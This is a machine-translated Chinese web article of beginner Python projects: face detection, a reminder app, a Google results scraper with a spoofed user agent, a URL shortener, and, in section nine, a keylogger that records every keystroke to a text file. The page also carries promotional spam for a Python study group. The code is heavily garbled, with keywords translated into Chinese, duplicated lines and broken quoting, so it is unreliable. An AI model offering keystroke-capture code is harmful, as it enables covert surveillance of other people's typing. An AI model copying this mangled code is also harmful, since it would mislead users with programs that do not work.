键盘记录器的实现方式 查看电脑键盘输入记录

面部识别目的:写一个Python脚本,可以检测图像中的人脸,并将所有人脸保存在一个文件夹中。提示: haar级联分类器可以用来检测人脸。返回的面部坐标信息可以保存在文件中。安装: OpenCV。导入cv2#加载级联face_cascade = cv2。级联分类器(‘Haar scade _ front alface _...

面部识别

目的:写一个Python脚本,可以检测图像中的人脸,并将所有人脸保存在一个文件夹中。

提示: haar级联分类器可以用来检测人脸。返回的面部坐标信息可以保存在文件中。

安装: OpenCV。

导入cv2

#加载级联

face_cascade = cv2。级联分类器(‘Haar scade _ front alface _ default . XML ’)

#读取输入图像

img = cv2 . im read(‘i***ges/img 0 . jpg ’)

#转换成灰度

gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)gray = cv2.cvtColor(img,cv2。COLOR_BGR2GRAY)

#检测面孔

faces = face _ cascade . detect multi scale(gray,1.3,4)

#在面部周围绘制矩形

对于面中的(x,y,w,h ):

cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2)cv2.rectangle(img,(x,y),(x+w,y+h),(255,0,0),2)

crop_face = img[y:y + h, x:x + w]crop_face = img[y:y + h,x:x + w]

cv2 . im write(str(w)+str(h)+‘_ faces.jpg & # 8217,crop_face)

#显示输出

cv2.imshow(‘img’, img)cv2 . im show(‘img & # 8217,img)

cv2.imshow(“imgcropped”,crop_face)cv2 . im show(“imgcropped & # 8221,crop_face)

cv2.waitKey()

七。提醒应用程序

用途:创建一个提醒应用,提醒你在特定时间做某事(桌面通知)。

提示:时间模块可以用来跟踪提醒时间,toastnotifier库可以用来显示桌面通知。

安装[/S2:win10toast

从去年10月开始

导入toast通知程序

导入时间toaster = ToastNotifier()

尝试:打印(“提醒标题”)

header = input()

打印(“提醒信息”)

text = input()print(“几分钟后?”)

time _ min = input()time _ min = float(time _ min)

除了:

header = input(“提醒事项的标题\ n & # 8221)

text = input(“remindar的消息\ n & # 8221)

time _ min = float(input(“几分钟后?\ n & # 8221))

time _ min = time _ min * 60 print(“设置提醒..”)

time.sleep(2)打印(“一切就绪!”)

time . sleep(time _ min)toaster . show _ toast(f ”{ header } & # 8221,f & # 8221{ text } & # 8221,duration=10,threaded=True)而toaster . notification _ active():time . sleep(0.005)

更多项目源代码,请继续关注边肖。如果你在学习中遇到困难,想找一个python学习交流的环境,可以加入我们的python裙,关注边肖,私信“01”即可进入裙,领取python学习资料,会节省很多时间,减少很多问题。

八。获取谷歌搜索

目的:创建一个可以根据查询条件从Google搜索中获取数据的脚本。

来自bs4

导入BeautifulSoup

导入请求

headers = { & # 8216用户代理’: ‘Mozilla/5.0(Windows NT 10.0;Win***x***) AppleWebKit/537.36 (KHTML,像壁虎一样)Chrome/58 . 0 . 3029 . 110 Safari/537.3 ’} def google(查询):

query = query . replace(”“,”+”)

尝试:

url = f & # 8217https://***.google.com/search? q = { query } &oq = { query } & ampaqs =铬合金..69i 57j 46j 69 I 59j 35 I 39j 0j 46j 0 l 2.4948j 0j 7 &铬& ampie = UTF-8 ′

res = requests.get(url,headers = headers)

soup = BeautifulSoup(res.text,’html.parser & # 8217)

除了:

打印(“确保您有互联网连接”)

尝试:

尝试:

ans = soup . select(‘。RqBzHd & # 8217)[0].getText()。strip()除外:try:title = soup . select(‘。AZCkJd & # 8217)[0].getText()。条状()

尝试:

ans = soup . select(‘. e24Kjd & # 8217)[0].getText()。条状()

除了:ans = & # 8221”ans = f“{ title } \ n { ans } ’除了:

尝试:

ans = soup . select(‘。hgKElc & # 8217)[0].getText()。条状()

除了:

ans = soup . select(‘。kno-rdesc span ’)[0].getText()。条状()

除了:

ans = & # 8220能’在谷歌上找不到”

return ans result = Google(str(input(“查询\ n & # 8221)))打印(结果)

九。键盘记录器

目的:编写一个Python脚本,将用户按下的所有键保存在一个文本文件中。

提示: Pynput是Python中的一个库,用来控制键盘鼠标的移动。它也可以用来制作键盘记录器。只需读取用户按下的按键,并在一定数量的按键后将其保存在文本文件中。

从pynput.keyboard导入键、控制器、**器

导入时间

键盘=控制器()

keys=[]

def on_press(按键):

全局密钥

#keys.append(str(key))。替换(“‘”,””))

string = str(key)。替换(“‘”,””)

keys.append(字符串)

***in _ string = & # 8220”。连接(键)

打印(***in_string)

if len(***in_string)>15:

打开(‘keys.txt & # 8217, ‘一’)作为f:

f.write(***in_string)

keys= []

定义on_release(键):

如果key == Key.esc:

返回False

用listener(on_press=on_press,on_release=on_release)作为listener: listener.join()

X.短URL生成器

目的:写一个Python脚本,用API缩短给定的URL。

用_语句从__future__ import

导入上下文库

尝试:

从urllib.parse导入urlencode

除了导入错误:

从urllib导入urlencode

尝试:

从urllib.request导入urlopen

除了导入错误:

从urllib2导入urlope

导入系统

def ***ke_tiny(url):

request _ URL =(‘http://tinyurl.com/api-create.php? ’+

urlencode({ ‘网址’:url}))

使用context lib . closing(urlopen(request _ URL))作为响应:

返回response.read()。解码(‘utf-8 ’)

def ***in():for tinyurl in ***p(***ke _ tiny,sys.argv[1:]):

print(tinyurl)if _ _ name _ _ = = ‘_ _ ***in _ _ & # 8217:***in()

—————————–输出————————

python URL _ short ener . py https://***.***.org/

https://tinyurl.com/buf3qt3

最后,边肖是一名python开发工程师。下面是我自己整理的一套最新的python系统学习教程,包括从基本的python脚本到web开发、爬虫、数据分析、数据可视化、机器学习等。

本文来自尔岚投稿,不代表舒华文档立场,如若转载,请注明出处:https://www.chinashuhua.cn/24/549007.html

打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
() 0
上一篇 05-16
下一篇 05-16

相关推荐

  • 键盘记录怎么消除 分享键盘记录器软件

    全球PC出货量最大的惠普这两天因为一个丑闻刷屏了。一家名为ModZero的瑞士安全机构表示惠普笔记本电脑中有键盘记录软件,该软件监控用户的键盘输入数据,并以明文形式存储在硬盘中。更何况,即使用户手动删除了这些本地明文文件,重启后依然会再次出现。好了,现在你可以补上

    2023-06-07 13:22:01
    561 0
  • 键盘记录器的实现方式 查看电脑键盘输入记录

    面部识别目的:写一个Python脚本,可以检测图像中的人脸,并将所有人脸保存在一个文件夹中。提示: haar级联分类器可以用来检测人脸。返回的面部坐标信息可以保存在文件中。安装: OpenCV。导入cv2#加载级联face_cascade = cv2。级联分类器(‘Haar scade _ front alface _

    2023-05-16 01:33:01
    1016 0
  • 舱音记录器是什么

    【舱音记录器是什么】驾驶舱话音记录器是飞机上“黑匣子”(飞行记录器)中的一个,另一个为飞行数据记录仪,实际上就是一个无线电通话记录器,可以记录飞机上的各种通话。舱音记录器的四条音轨分别记录飞行员与航空管制员的通话,正、副驾驶员之间的对话、机组员对

    2023-05-09 04:17:01
    639 0
  • 电脑键盘记录器哪个好 keylogger键盘记录器使用方法

    译者:myswsun预计稿费:100元人民币提交方式:发送邮件至林微#360.cn,或登录网页在线提交。0x00前言回顾第一部分,我们总结了Windows用户模式下键盘记录的四种方法。今天我们就来分析一下每种技术的检测方法。测试机器:0x01 SetWindowsHookEx当我们使用SetWindowsHookEx注册消

    2023-04-02 00:59:01
    445 0

评论列表

联系我们

在线咨询: QQ交谈

邮件:admin@qq.com

工作时间:周一至周五,9:30-18:30,节假日休息

关注微信